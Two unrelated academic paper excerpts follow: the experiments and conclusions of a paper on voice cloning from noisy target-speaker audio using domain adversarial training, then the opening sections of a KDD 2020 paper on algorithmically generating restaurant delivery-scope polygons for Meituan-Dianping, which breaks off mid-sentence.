As discussed above, the proposed few-shots speaker adapta-
tion method requires a few adaptation samples with transcrip-
tion to fine-tune the model. We further propose a robust one-
shot speaker adaptation method for noisy target speaker speech
without transcription. To this end, we firstly build an individ-
ual text-independent speaker discriminative model trained on
speaker verification dataset [4, 5, 24]. The model adopts time
delay neural network (TDNN) [24] to extract the speaker rep-
resentation (so-called x-vector) in the latent space. With the
speaker recognition model, we can easily obtain the continuous
speaker embedding s for both training and adaptation samples.

Different from the above few-shots speaker adaptation, the
noisy target speaker’s audio is only used to extract speaker em-
bedding. The domain adversarial training module is the same
as previous few-shots adaptation. Since the continuous speaker
representation s is obtained from noisy speech, it also inevitably
contains noise information. In order to avoid introducing noise
into ct, we only inject s in h(·) rather than in both of g(·) and
h(·). We train the multi-speaker model with the same objective
function in Eq (8).

In order to process domain adversarial training, we still
need to augment the training set. Considering a triple of training
samples < audref , text, audtgt >, we augment the audref
with random noise and get audnref . Therefore, the processed
training set is doubled, consisting of two types of samples
(audref and audnref ) with the same number. And then we ap-
ply the same training process as speaker adaptation.

During adaptation, we only need one noisy sample to ex-
tract speaker representation s to generate target clean voice. As

for a few adaptation samples, we can treat the mean of speaker
representations of all sentences as s to control generation, which
may be more stable than the s from a single sentence.

3. Experiments and Results
3.1. Basic setups

In our experiments, we use a multi-speaker Mandarin corpus,
referred as MULTI-SPK, and a noise corpus from CHiME-
4 challenge [25] to simulate noisy speech. The MULTI-SPK
dataset consists of 100 different speakers in different ages and
genders and each speaker has 500 utterances. The CHiME-4
corpus contains about 8.5 hours of four large categories of back-
ground noises. We augment the training set at random signal-
to-noise ratio (SNR) ranging from 5 to 25db. We reserve two
males (indexed as 001 and 045) and two females (indexed as
077 and 093) as our target unseen speakers for voice cloning
experiments. For each target speaker, we select 50 sentences
(3-4 minutes of speech) as test samples. The clean test sets for
two female and two male speakers are referred as F-C an M-
C, respectively. In order to evaluate the performance of noisy
target audio, we also add random background noise to F-C and
M-C in the way with the training set, resulting in F-N and M-
N respectively. As for the de-noising baseline with external
speech enhancement module, we use the state-of-the-art speech
enhancement model named DCUnet [26] to de-noise F-N and
M-N. The internal DCUnet model is trained using over 2000
hours of training data with strong and stable de-noising capac-
ity. The de-noised test sets are referred as F-D and M-D. For
clarity, the different parts of test sets are shown in Figure 3.

To evaluate speaker similarity, we extract x-vectors from
the synthesized speech and then measure the cosine distance
with the x-vector extracted from original speech of the target
speaker. We also evaluate speaker similarity and naturalness
using subjective mean score option (MOS) tests, where about
20 listeners examining the testing clips. As for objective eval-
uation, we measure the mel-cepstral distortion (MCD) between
generated and real samples after dynamic time warping.

3.2. Model details

All of our models take phoneme-level linguistic features, in-
cluding phoneme, word boundary, prosody boundary and syl-
lable tone, as input of the CBHG-based encoder [22]. The
GMM-based monotonic attention mechanism is employed to
align phoneme-level linguistic representations and frame-level
acoustic features during training [23]. The architecture of de-
coder is similar with Tacotron2 [1], and the number of units of
additional GRU after pre-net is 256 for latent feature learning.
For speaker representation, we adopt straight-forward learnable
embedding table for few-shots adaptation, where the dimension
of speaker embedding is 256. As for one-shot adaptation, the
dimension of x-vector is 512. We concatenate the x-vector with
the above latent features.

For the vocoder, we train gender dependent universal mel-
LPCNet, which extends LPCNet [27] with mel-spectrogram,
using original MULTI-SPK dataset to convert mel-spectrogram
to waveform. The audio samples will be available online1.

3.3. Evaluation on few-shots speaker adaptation

We firstly train a standard multi-speaker system using original
training set without domain adversarial module as our baseline,

1https://npujcong.github.io/voice_cloning
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Figure 3: Different parts of test set. F and M indicate female
and male, C and N refer to clean and noisy audio, and D indi-
cates de-noised speech.

referred as BASE. As for the robust few-shots speaker adap-
tation, we propose to conduct adversarial training, referred as
DAT. For the proposed model, we use noise tag (0/1) to control
the acoustic condition and the λ in loss function is set to 0.1. At
adaptation time, we adapt the baseline model BASE and pro-
posed model DAT with different test set, where the batch size is
set to 8 and initial learning rate is set to 10−5.

Results in terms of various metrics are shown in Table 1
(upper part). For the adaptation with clean target data (F-C, M-
C), although we only use half clean speakers in the training set
to train the proposed model, the naturalness and similarity of
synthesized speech of baseline and proposed model are similar.
As for the noisy adaptation data, the BASE model even can-
not learn a stable alignment during model fine-tuning, resulting
in speech generation failures, i.e. incomplete, mis-pronounced
and non-stoping utterances. However, the proposed DAT model
still works well to generate target speaker’s clean voice, whose
performance is close to those samples on clean data in both nat-
uralness and similarity. This result indicates that the proposed
approach has ability to produce stable clean target voice under
few-shots speaker adaptation scene. We also de-noise the noisy
target data to conduct speaker adaptation on the BASE model,
but the result indicates that the adaptation with de-noised data
suffers from the speech distortion problem, where the MCD is
much higher than that of the proposed model. Besides, the sim-
ilarity is also worse than the proposed model.

Table 1: The results of speaker adaptation and encoding on dif-
ferent test sets and models. “×” means the model is failed to
conduct adaptation. N-MOS and S-MOS denote MOS on natu-
ralness and similarity, and SIM-COS is cosine similarity.

Few-shots Speaker Adaptation
TEST SET MODEL MCD N-MOS SIM-COS S-MOS

F-C BASE 3.77 3.42 0.96 3.64
F-C DAT 3.87 3.42 0.96 3.65
F-N BASE × × × ×
F-N DAT 4.18 3.36 0.95 3.65
F-D BASE 4.72 3.30 0.86 3.45
M-C BASE 3.66 3.56 0.96 3.64
M-C DAT 3.95 3.54 0.95 3.71
M-N BASE × × × ×
M-N DAT 4.20 3.53 0.93 3.72
M-D BASE 4.56 3.51 0.91 3.70

One-shot Speaker Encoding
F-C BASE 4.30 3.39 0.91 3.51
F-C DAT 4.31 3.5 0.92 3.54
F-N BASE × × × ×
F-N DAT 4.35 3.41 0.92 3.50
F-D BASE 5.32 3.32 0.89 3.4
M-C BASE 4.62 3.67 0.85 3.16
M-C DAT 4.58 3.63 0.88 3.26
M-N BASE × × × ×
M-N DAT 4.55 3.67 0.88 3.34
M-D BASE 4.84 3.57 0.76 2.96

3.4. Evaluation on one-shot speaker encoding

We train an independent x-vector model using internal 3000
hours speaker verification dataset over 2000 speakers. The x-

001-D

045-N

012-N

045-(C/D/N)

001-(C/D/N)

012-(C/D/N)

001-N

045-D

012-D
012-C

045-C

001-C

093-D

093-(C/D/N)

093-N

093-C

Figure 4: Visualization of utterance embedding from different
speakers at clean and noise conditions. C, N and D stand for
clean, noisy and de-noised audio.

vector is projected to 256 dimension and then used as condition
on the TTS model. We train a multi-speaker model with speaker
encoder using original dataset as our baseline, referred as BASE
and proposed model with DAT using augmented dataset, re-
ferred as DAT. During adaptation, we compute mean of x-
vectors extracted from 5 sentences randomly selected from test
set. Results are shown in the lower half of Table 1.

For the clean target speakers, we also find there are no sig-
nificant difference between proposed DAT model and the BASE
model. But for noisy data, it is hard to evaluate the perfor-
mance of the BASE model since it always crashes with the
corresponding noisy x-vectors. As for our proposed model,
whether the target audio is clean or noisy, it can produce stable
and clean synthesized speech of the target speaker. Similar to
the speaker adaptation methods for few-shots adaptation, even
we de-noise the noisy target audio to extract x-vector, the nat-
uralness and similarity of generated speech is much worse than
the proposed DAT method. When we compare speaker adap-
tation and speaker encoding, we find that speaker adaptation
can produce apparently higher speaker similarity samples than
speaker encoding. This observation is consistent with [2] as it’s
still challenging catching speaker’s identity in fine-details using
just one shot from the speaker; it is even more challenging using
one noisy sample.

To evaluate the effectiveness of proposed model, we also
analyze the projected speaker embedding of our proposed
model with the original x-vectors from target speakers using t-
SNE [28], as shown in Fig. 4. For x-vectors from target speech,
whereas the x-vectors have clear distances between speakers,
the speaker representations of noisy and clean samples for the
same speaker are usually divided into two clusters. It means
that the speaker representation is easily affected by noise inter-
ferences, which will directly cause the speaker similarity prob-
lem in one-shot speaker adaptation. As for the proposed speaker
embedding with adversarial training, we find there is no obvi-
ous distance between noisy and clean samples from the same
speaker. It indicates that the proposed model successfully disen-
tangles the noise condition from the speaker embedding, which
alleviates the negative effects from noise in target speech.

4. Conclusions and Future Work
The paper proposes to use domain adversarial training for data
efficient voice cloning from noisy target speaker samples. Re-
sults indicate that in both few-shots speaker adaptation and one-
shot speaker encoding, the proposed approaches can produce
clean target speaker’s voice with both reasonable naturalness
and similarity. Future work will try to handle the more compli-
cated acoustic condition scenarios, e.g., room reverberations.
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ABSTRACT
Recently on-demand food delivery service has become very popu-
lar in China. More than 30 million orders are placed by eaters of
Meituan-Dianping everyday. Delicacies are delivered to eaters in 30
minutes on average. To fully leverage the ability of our couriers and
restaurants, delivery scope is proposed as an infrastructure product
for on-demand food delivery area. A delivery scope based retrieval
system is designed and built on our platform. In order to draw suit-
able delivery scopes for millions of restaurant partners, we propose
a pioneering delivery scope generation framework. In our frame-
work, a single delivery scope generation algorithm is proposed by
using spatial computational techniques and data mining techniques.
Moreover, a scope scoring algorithm and decision algorithm are
proposed by utilizing machine learning models and combinatorial
optimization techniques. Specifically, we propose a novel delivery
scope sample generation method and use the scope related features
to estimate order numbers and average delivery time in a period
of time for each delivery scope. Then we formalize the candidate
scopes selection process as a binary integer programming problem.
Both branch&bound algorithm and a heuristic search algorithm are
integrated in our system. Results of online experiments show that
scopes generated by our new algorithm significantly outperform
manual generated ones. Our algorithm brings more orders without
hurt of users’ experience. After deployed online, our system has
saved thousands of hours for operation staff, and it is considered
to be one of the most useful operation tools to balance demand of
eaters and supply of restaurants and couriers.
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location-based retrieval, on-demand food delivery, spatial compu-
tation, machine learning, combinational optimization
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Figure 1: Illustration of 4 phases of on-demand food delivery
service. (1) Eaters choose the restaurant and food from the
marketplace powered by food delivery service; (2) As soon
as order is placed, three things happened almost at the same
time, a. restaurant start to prepare the food, b. restaurant on-
line marketplace deliver the order to the food delivery plat-
form, c. food delivery platform dispatch the order to the ap-
propriate courier; (3) Couriers pick up the food from restau-
rant following the instructions from food delivery platform;
(4) Finally, couriers deliver the food to the hands of eaters.

Mining (KDD ’20), August 23–27, 2020, Virtual Event, CA, USA. ACM, New
York, NY, USA, 9 pages. https://doi.org/10.1145/3394486.3403353

1 INTRODUCTION
Recently on-demand food delivery service has become very popular
in the world, especially in China. As shown in Figure 1, eaters could
explore the online restaurant marketplace, choose restaurants and
order their favorite foods or drinks. After about 30 minutes, eaters
would receive them. Everyday more than 30 million orders are
placed on Meituan-Dianping platform, one of the world’s largest
on-demand delivery service provider, and about 1 million couriers
work for these orders’ delivery. Due to fast growing demand of
eaters and limited number of couriers, the way to fully exploit our
delivery ability becomes a core factor for our on-demand delivery
service. An effective dispatch system tomatch orders and couriers is
indispensable [8]. Besides, a new mechanism of restaurant retrieval,
the delivery scope, is proposed in the area of on-demand delivery
service, which we mainly discuss in this paper.
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Figure 2: Illustration of a delivery scope. In this figure, the
restaurant’s delivery scope is the irregular polygon with
black solid border. Only eaters inside the polygon could
browse the restaurant’s menu on our platform and place an
order, like location A/B/C. It is difficult for couriers to de-
liver food across the river or too far away from the restau-
rant. Thus, location D and E are excluded from the polygon
when drawing the delivery scope.

In the area of on-demand delivery service, we must ensure that
orders can be delivered to eaters in 30 minutes on average. Due
to limited supply of our couriers, it is unrealistic that eaters could
order their delicacies from every restaurant in their cities. On our
platform, we allocate every restaurant a spatial polygon as the
service area. Only eaters whose shipping addresses locate in the
service area can order foods and drinks from this restaurant. We
define the spatial polygon as delivery scope, which is illustrated
in Figure 2.

Since there are millions of restaurants on our platform, it means
there are at least millions of corresponding delivery scopes. When
one eater visits our application, our system should satisfy: 1) all
restaurants whose delivery scopes contain the eater’s shipping
address should be retrieved; 2) one retrieval process should be com-
pleted in tens of milliseconds, the same scale of traditional content
retrieval systems. To achieve these, a R-tree based index system is
designed and implemented. The high performance polygon-based
retrieval system is part of the core of this new retrieval paradigm,
although we will not focus on it in our paper.

To fully exploit our delivery ability, how to generate delivery
scopes becomes very important. In order to generate suitable deliv-
ery scopes, both eaters’ preferences and couriers’ delivery efficiency
should be considered. Specifically, delivery scope generation pro-
cess should follow three principles: 1) restaurant’s delivery scope
should cover high-demand area; 2) delivery scope should be smaller
compared with other restaurants’ if its supply ability is relatively
lower; 3) delivery scope should not cover faraway locations. Be-
sides, we should gaurantee eaters from a city block could browse
same restaurants on our platform. And our restaurant partners
and delivery partners could see their own delivery scopes from the
management system, they also pay close attention to the shapes.
Thus, we make the following rules for our scope generation process:

1) border of a scope should be along the roads; 2) border of a scope
should not cut city blocks; 3) delivery scope should not cover or
traverse delivery-hard locations, such as seas, rivers, hills, railways
etc.

Before our delivery scopes generation system deployed online,
our operation staff in different cities drew all delivery scope by
hands. It is a painstaking job and unrealistic for them to draw
scopes balancing demand of our eaters and supply of restaurants
and our couriers. We propose a delivery scope generation algo-
rithm and build an automatic generation system online. Our system
frees operation staff from the boring scope drawing jobs. Moreover,
the algorithm generated delivery scopes outperform manual ones.
Our large-scale online experimental results show that our algo-
rithm significantly increases the number of orders without delivery
experience loss.

Specifically, we exploit spatial data mining techniques, machine
learning techniques and combinational optimization techniques
to generate delivery scopes for millions of restaurants. A unified
framework, which we call delivery scope generation algorithm,
is proposed. First, we generate candidate scopes for target restau-
rants. Spatial data mining techniques are exploited to ensure that
algorithm-generated scopes obey three following rules: 1) candidate
scopes should meet distance constraint; 2) scopes should meet re-
quirements for consistent users’ experience; 3) scopes should cover
more high-demand locations under the constraints of 1) and 2).
Second, we utilize regression models to estimate the order number
and average order delivery time if a restaurant adopts the scope.
Last, we formalize delivery scope allocation process as a binary
integer programming problem.

Our contributions are listed as follows: 1) a different retrieval
paradigm to utilize the delivery scope for location-based retrieval
system is proposed, and we suggest that any similar online location-
based applications could utilize this paradigm to improve their
service; 2) we proposed a pioneering delivery scope generation
framework, results of online experiments demonstrate that our
algorithm not only saves manual delivery scope maintenance time,
but also brings better purchase and delivery-service experience;
3) we design and build a delivery scope generation system, which
has shown success on one of the world’s largest on-demand food
delivery platform as a pioneering industry-level practice.

2 RESTAURANT RETRIEVAL SYSTEM
ARCHITECTURE

Our restaurant retrieval system are demonstrated in Figure 3. The
system is designed by two parts. We will introduce each part in the
following paragraphs.

Delivery Scope Indexer: The indexer is designed and built for
two main functions. First, it supports millions of visits in millisec-
onds’ response time to retrieve the restaurant list via giving the
coordinate of eater’s shipping address. Second, it supports hun-
dreds of thousands delivery scope update in seconds. The core data
structure of the indexer is an improved R-tree. In this paper, details
of the indexer will not be mentioned.

Delivery Scope Generation System: This system implements
the delivery scope generation framework we proposed. Basically,

Applied Data Science Track Paper  KDD '20, August 23–27, 2020, Virtual Event, USA

3027



论文　<　1225

Figure 3: Delivery scope system architecture, it includes two
parts: 1) delivery scope index service to update/add/delete
restaurant delivery scope and provide the retrieval API for
eaters side application and restaurant partners side applica-
tion; 2) delivery scope generation system.

our system would generate candidate scopes for a group of restau-
rants using our single delivery scopes drawing pipeline and each
candidate would be scored. Then our system will select one final
suitable delivery scope for every restaurant in the group to achieve
a global optimum. In the following sections, we will focus on these
details.

3 DELIVERY SCOPE GENERATION
ALGORITHM

3.1 Framework of Delivery Scope Generation
The goal of our algorithm is to generate a reasonable delivery
scope for every restaurant in target station, a city block of which
restaurants’ products are deliveried by a specific group of couriers
basically. The number of restaurants in one station lies between
200 and 1,000 in our system. The scope generation framework com-
prises three main stages: 1) candidate delivery scopes generation, 2)
candidate delivery scopes scoring and 3) combinatorial optimization
of delivery scopes.

In the first stage, several candidate delivery scopes are generated
for every restaurant in the target station. In order to generate a
reasonable and elegant scope, we propose a novel single scope
generation algorithm, as described in Section 3.2.

Then, in the second stage, machine learning models are exploited
to get predictions, or scores, about these scopes. Candidate deliv-
ery scopes of each restaurants are spatial polygon with different
shapes and sizes. We extract a series of features that could capture
characteristics of these scopes. Details of the scoring process can
be found in Section 3.3.

In the last stage, the combinatorial optimization process selects
one delivery scope for each restaurant from its candidates. The
target of this stage is to differentiate restaurants in the station.
Generally, it is better to allocate larger delivery scopes to restaurants
with higher eater conversion rate, greater products’ preparation
efficiency and more convenient nearby transportation condition.
We formalize this as a binary integer programming problem
(abbreviated as BIP in the following sections) and then use the
branch and bound algorithm [2, 5] or a heuristic search algorithm
to solve it.

3.2 How to Draw Single Scope
The foundation of our delivery scope generation system is a single
delivery scope drawing algorithm. In this algorithm, a single deliv-
ery scope would be generated given a target radius and a location
point as inputs. Navigation distances between the location point
and points on the boundary of the scope are supposed to be (approx-
imately) equal to the input radius. When fed multiple input radii,
the algorithm could generate scopes in different sizes and shapes.
And, naturally, these scopes cover different numbers of potential
eaters. We treat these scopes as candidate scopes which would be
used in subsequent scope decision procedures. Besides, our restau-
rant partners expect the delivery scopes could cover high-demand
area as much as possible and that the edges of the delivery scopes
could be along city roads. Our single delivery drawing algorithm
also takes these business requirements into consideration.

In the system, delivery scope is represented by a polygon with
multiple vertices, among which two adjacent vertices are connected
by a line segment. The single scope generation algorithm comprises
four modules: initialization, business requirements fulfillment, com-
pression and covering high-demand areas. Each module takes the
tentative scope processed by the former one as input. In this section,
we dive into some details of these modules.

3.2.1 Initialization. In the begining of this module, the algorithm
uses the restaurant’s location point as the center to draw a circle
with input radius. The circle is represented by a fixed number of
points on the border at equal intervals. However, navigation dis-
tances from these points to the center may bemuch larger than their
straight-line distances. To solve this, our algorithm searches for new
points, whose navigation distances to the center are approximately
equal to our target radius, on segments between these original
points and the center. We adopt a binary search way here. In each
step, one boundary point would move towards the center with the
length ofmax(min(naviDist−tarдetRadius, straiдhtLineDist)/2,minStep).
Here, naviDist and straiдhtLineDist are the navigation distance
and straight-line distance between the boundary point and the
center. tarдetRadius is our input target radius, andminStep, as a
hyper-parameter, is used to restrict the minimal move length in the
search process.

3.2.2 Scope Shape Optimization for Experience. To guarantee better
experience of users, restaurants and delivery partners, boundaries
of our delivery scopes should be along roads, which is crucial for
our platform. A delivery scope whose boundary goes across some
buildings or blocks could bring different user experience for eaters
in a same building. To be specific, there might be a case that some
eaters in the building could place orders on our platform, but some
others could not. In order to get boundaries along the road, our
algorithm substitutes navigation routes for straight line segments
between adjacent boundary points. New boundary points are added
in this process. Besides, every station keeps a maximal shipping
scope, which marks all places couriers of this station could go.
Generated delivery scopes would be intersected with the maximal
shipping scope to exclude some improper area.

In order to get elegant delivery scopes, algorithm removes stubs
brought in the navigation route process on boundaries: we allocate
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(a) Initialized Circle (b) Navigation Distance Modification

Figure 4: Illustration of Scope Initialization: (a) the yellow
pointmarks the restaurant location point, the orange points
mark boundary points sampled from initial circle. (b) In the
navigation distance modification process, boundary points
would move towards the center to meet the navigation dis-
tance requirement.

boundary points indexes in order and record GeoHashes 1 that
those points belong to. Then, for each of those GeoHashes, our
algorithm finds the minimal-index point and the maximal-index
one. If most of the intermediate points locate in GeoHashes far from
the current GeoHash, the algorithm would treat the route between
these two points as a stub, and remove it by connecting the two
points directly.

3.2.3 Scope Compression. Plenty of boundary points have been
brought in the navigation route process, and in the scope compres-
sion module, our algorithm removes redundant points for more
efficient data computation and storage. We compute the angle of
each point between its subsequent point and its former point. If
the angle is close to 180◦ enough, the point would be removed.
An alternate strategy evaluates each points based on both angle
and distance between adjacent points, points with higher scores
would be retained. Our system also integrates Douglas-Peucker
algorithm [15] in the compression module. Comparison between
these compression methods can be found in Table 3.

3.2.4 Covering High-Demand Areas. This module modifies delivery
scope to cover more high demand areas. In the initialization part
mentioned before, the algorithm draws a circle centered at the
location point of our target restaurant. Actually, in our system, the
center is a deviated one, which is computed based on the location
point and the distribution of orders in the area nearby. Beyond
that, some high-demand areas are merged directly into the delivery
scope. Here, these high-demand areas are the result of GeoHashes
clustering. In our system, both K-means and DBSCAN[7] algorithm
are reasonable options and adopted. At last, these potential areas
are merged to form a new polygon, the final delivery scope, while
keeping the restriction of navigation distance.

3.3 Single Scope Scoring
After candidate delivery scopes with different radii for a single
restaurant generated, our algorithm measures their scores. Here,
1GeoHash is a public domain geocode system and encodes a geographic location into
a short string of letters and digits.

(a) Navigation Route Process (b) Remove Stub

(c) Scope Compression (d) Shipping Scope Intersection

Figure 5: Illustration of Scope ShapeOptimization and Scope
Compression: (a) The boundaries of delivery scopes pro-
cessed by Navigation Route Process are along roads. (b) A
tiny stub in the red bound box is removed. (c) Some redun-
dant points are removed in Scope Compression Process. (d)
Delivery scopes are intersected with the maximal shipping
scope to remove some improper area.

(a) Center Point Shift (b) Merge High-Demand Areas

Figure 6: Illustration of Covering High-Demand Areas: (a)
Yellow point marks a restaurant’s location point and the
green onemarks the deviated scope center computed accord-
ing to the distribution of orders in the red bouding box. (b)
The red block, representing high-demand area, is appended
to the original delivery scope.

the scores include the number of orders and average delivery time
in a period of time, which would be used in following optimization
process.

We use the estimation of the number of orders to illustrate the
process. Specifically, if a target scope to be scored is inside the
restaurant’s current delivery scope, what needs to do is to count
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the number of orders from historical data. However, for a candi-
date scope larger than the current one, the scoring process would
contain two stages: 1) couting the number of orders inside the
intersection between the larger scope and the current scope. In
Figure 7, the intersection part corresponds to the yellow area. 2)
For the area outside the current scope, as shown in pink belt in
the figure, regression models would be used. The two scores would
be summed to get the final estimation of the number of orders. In
our prediction part, we construct samples in the following way: for
every restaurant on our platform, we shrink its current delivery
scope into smaller ones, which we call "virtual scopes". Then we
might treat the virtual scope as the restaurant’s real scope and treat
the number of orders placed by eaters in the outside belt as the label.
By doing so, we get many samples from one restaurant. Among all
our features, some are extracted based on the spatial information
about virtual scopes and outside belts. We compare several common
regression models, such as ridge regression, random forest[11], and
XGBoost[4]. Details about metrics of these models could be found
in Section 4.2.

Figure 7: Single Scope Scoring: In this picture, The yellow
scope is the current delivery scope of the restaurant in blue
marker. The larger one is the scope to be scored. We divide
the task into two parts: computing the score in the yellow
scope fromhistorical data and predicting the score about the
pink belt. Two parts would be conflated into the final score
for the targe larger scope.

Figure 8: Given the current delivery scope of a restaurant, we
shrink the scope border to generate smaller virtual scopes.
Here, the three purple scopes with dash line are virtual
scopes generated from a same restaurant. They correspond
to three samples in the dataset. Labels are the numbers of
orders placed by eaters in outside pink belt areas.

The average delivery time is predicted in the same way. Some
time related features are designed to feed in our model, like our
couriers’ delivery speed and average food preparation time for the
targe restaurant.

3.4 Delivery Scope Optimization
By adopting methods in Section 3.2 and 3.3 we could get candidate
delivery scopes for restaurants and some corresponding scores, like
the predicted numbers of orders and the predicted average delivery
time in a period of time. Now the problem is how to utilize all this
information to allocate each restaurant a reasonable delivery scope
in order to achieve a global optimal (or approximate)GMV (Global
Merchandise Volume) or number of orders for a station, and at
the same time, to guarantee eaters’ experience.

We formalize the problem as: for a target station, there are N
restaurants. Each restaurant hasM candidate delivery scopes with
different sizes. Sn,m is used to indicate them-th candidate delivery
scope of the n-th restaurant.On,m andTn,m are the predicted order
num and the average order delivery time if the n-th restaurant
adopts candidate scope Sn,m . What calls for special attention is
that we draw candidate scopes of one restaurant from small target
radii to large ones in order, so usually scope Sn,m+1 could cover
scope Sn,m . And when we predict theOn,m andTn,m , we also force
the model to predict large scores (On,m , Tn,m ) for large scopes. Pn ,
the average production price of the n-th restaurant, is computed
from historical data. In our system, we treat the average delivery
time in a station as the very indicator of eaters’ experience, and
T̄ is our target upper bound. We use the binary variable Cn,m to
indicate whether them-th candidate scope should be the delivery
scope of n-th restaurant, then our problem is converted into a BIP
(Binary Integer Programming) problem:

max
N∑
n=1

M∑
m=1

On,mCn,mPn (1)

s .t .
N∑
n=1

M∑
m=1

Tn,mOn,mCn,m ≤ T̄
N∑
n=1

M∑
m=1

On,mCn,m (2)

M∑
m=1

Cn,m = 1, n ∈ {1, . . . ,N } (3)

Cn,m ∈ {0, 1}, n ∈ {1, . . . ,N }, m ∈ {1, . . . ,M} (4)

The target of the BIP problem defined above is to maximize the
GMV of a station, and we could change the target into maximization
of orders by setting all Pn to be a same constant. BIP problem [3] is
a typical NP-Hard problem. Several kinds of heuristic algorithms,
such as hill climbing algorithm [13] and simulated annealing al-
gorithm [9], could get an approximate solution efficiently. In our
system, we usually set M to be 10 (or less than 10) and the num-
ber of restaurants is less than 1k in most of our stations. So the
total number of variables Cn,m is on the order of thousands. The
exact algorithm, branch and bound algorithm, could handle the BIP
problem with such scale in seconds on our server. A branch and
bound solver is integrated in our system, and besides, we propose
a heuristic algorithm to solve our BIP problem when we prefer to
select a final delivery scope for each restaurant from more than 1k
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candidate scopes, in which case it would take serveral minutes to
get the exact solution by using branch and bound algorithm directly
on our server. Algorithm 1 displays details of our heuristic algo-
rithm. The approximate solution could also be used as the initial
feasible solution for the branch and bound algorithm to accelerate
the solving process. In Figure 9, we show the framework of our
delivery scope generation system, which includes the three parts
mentioned before.

Algorithm 1: Delivery Scope BIP Heuristic Search
Data: order prediction On,m , delivery time prediction Tn,m ,

restaurant’s average production price Pn , number of
restaurants N , number of candidate scopesM , target
upper bound of average delivery time T̄ ;

Result: approximate solution of the BIP problem Cn,m
1 Function heuristicSearch(O , P , T , T̄ , N ,M):
2 priority_queue ← ∅;
3 for n = 1 to N do
4 scope_idx[n] ← 1;
5 heapPush(priority_queue , O , P , T , n, 1,M)

6 end
7 bound ← getBound(O , T , T̄ , scope_idx , N, M);
8 while priority_queue not empty do
9 (priority,n) ← heapPop(priority_queue) ;

10 m ← scope_idx[n];
11 delta ← On,m+1(Tn,m+1 − T̄ ) −On,m (Tn,m − T̄ );
12 new_bound ← bound + delta;
13 if new_bound ≤ 0 then
14 scope_idx[n] ←m + 1;
15 heapPush(priority_queue ,O , P ,T , n,m + 1,M);
16 bound ← new_bound ;
17 end
18 end
19 for n = 1 to N ,m = 1 to M do
20 Cn,m ← {m = scope_idx[n]}
21 end
22 return C
23 Function getBound(O , T , T̄ , scope_idx , N ,M):
24 return∑N

n=1
∑M
m=1(Tn,m − T̄ )On,m {m = scope_idx[n]}

25 Function heapPush(priority_queue , O , P , T , n,m,M):
26 if m+1 ≤ M then
27 priority ← Pn (On,m+1−On,m )

On,m+1Tn,m+1−On,mTn,m ;
28 push tuple (priority,n) into priority_queue ;
29 end

3.5 Computational Complexity
In the single delivery scope drawing procedure, we assign K as
the number of sampled points in initial circle. During Navigation
Distance Modification, each point steps back to proper position
with navigation distance query. Every navigation route query takes
the time of Tnavi , which could be considered as a constant. Since

Figure 9: Delivery Scope System Framework.

the maximum binary search range is fixed, it takes O(K) to process
all points. Navigation Route Process also needs O(K) to query
navigation route between adjacent points. Both Remove Stub and
Compression take O(K) complexity. So it would be considered to
take O(K) to generate one scope. Using the symbols in Section 3.4,
it would take O(KNM) to get all candidate delivery scopes for a
station. Our algorithm adopts XgBoost as the scope scoring method.
The tree depth, the number of stack iteration and the number of
features are fixed before the training process. That means it needs
to take O(NM) steps to get all scores for these scopes.

The scope allocation stage is a solving process of a BIP prob-
lem. To find the exact solution is a NP-Hard problem. Branch and
bound algorithm could get an exact solution, but the complexity is
relatively difficult to estimate due to its data-dependent procedures
inside. Some details about the complexity of branch and bound
algorithm could be found in [10]. Our heuristic search algorithm
could get an approximate solution in at most NM steps, so the
computational complexity of this algorithm is O(NM).

Overall, the total computational complexity of our delivery scope
generation algorithm is O(KNM) (by using our heuristic solver).
Details about the efficiency of our real-world application can be
found in Section 4.4.

4 EXPERIMENTS
In this section, we introduce our experiments on Meituan-Dianping
food delivery platform. First, we discuss some details of our online
evaluation, including experiment settings, results and the reason
why our algorithm outperforms humans. Second, we compare scope
estimation models adopted in our algorithm. Third, we show the
performance of single scope generation algorithm. And lastly, we
briefly introduce the efficiency improvement after our algorithm
deployed online.

4.1 Online Evaluation
4.1.1 Experiment Settings. We conducted our A/B Test experiment
on the 1448 stations of 133 cities in China, which included more
than 160,000 restaurants. Specifically, stations in each city were
divided into two groups: the experimental group and the control
group randomly. Then we put all stations in experimental groups of
all cities together into the final experimental group, and all others
were combined into the final control group. For restaurants in the
experimental group, we substituted algorithm generated delivery
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scopes for the old delivery scopes at the launch time. For restaurants
in the control group, we kept their old delivery scopes unchanged.
The order information data of restaurants two weeks before and
after the launch time in both experimental group and control group
were collected, which were used to verify the effectiveness of our
algorithm.

We record metric for results two weeks before the launch time
asMetbef and record metric for results two weeks after the launch
time as Metaf t . Then we define RMet as the changing ratio be-
tweenMetaf t andMetbef as follows:

RMet = (Metaf t −Metbef )/Metbef (5)
For metrics which are percentage number themselves, we define

the absolute difference ∆Met :
∆Met = Metaf t −Metbef (6)

The indicators, RMet and ∆Met , of control group could reflect
the change of metrics without the influence of the delivery scope
algorithm. So the divergence between experimental group’s ∆Met
and control group’s∆Met and the divergence between experimental
group’s RMet and control group’s RMet are the impact of our
algorithm.

4.1.2 Online Metrics Comparison. In our real-time delivery sce-
nario, the market size of our platform and the delivery efficiency
are the two most important aspects that we concerned. Usually,
we use GMV or the number of orders on platform to describe the
market size. In our experiments, we mainly adopt the maximization
of order number (#order ) as our target. To describe the delivery
efficiency, we use the following five metrics:

• average delivery time (t̄ ): The average delivery time of
orders in a period of time.

• average delivery distance (d̄): The average delivery dis-
tance of orders in a period of time.

• ontime rate (OR): The ratio of ontime orders to the whole
orders in a period of time.

• completion rate (CR): The ratio of completed orders to the
whole orders in a period of time.

• courier efficiency (CE): The average completed orders in
one day for one courier.

Table 1 shows that the new generated delivery scope could bring
about 1.68pp improvement for the number of orders compared
with the control group. At the same time, courier efficiency of ex-
perimental group was improved about 1.94pp. We can also notice
that delivery efficiency was decreased to some extent. On Meituan-
Dianping platform, the average delivery time is about 30 minutes,
so the average delivery delay caused by algorithm in the exper-
imental group is less than 1.2 minutes. Figure 10 shows part of
the experiment results data: in most of the experiment cities, algo-
rithm generated scopes bring much more orders while keeping the
delivery efficiency no much worse.

4.1.3 Why Algorithm Outperforms Humans. The reason lies in two
aspects: 1) The delivery scope generated by algorithm is better
than the manual one. Our operating staff tend to draw a restaurant-
centered polygon so as to keep distances between the border points
and the restaurant location point to be similar. However, there
might be a significant difference between the navigation distance
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Figure 10: Experiment Results in Part Cities of China: In
most cities of China, algorithm generated delivery scopes
outperform the manual ones in order number with a little
tolerable experience loss.

and the straight-line distance. So manual scopes would probably
cover blocks far from restaurants. Besides, algorithm-generated
scopes include some high-demand area that could not be detected
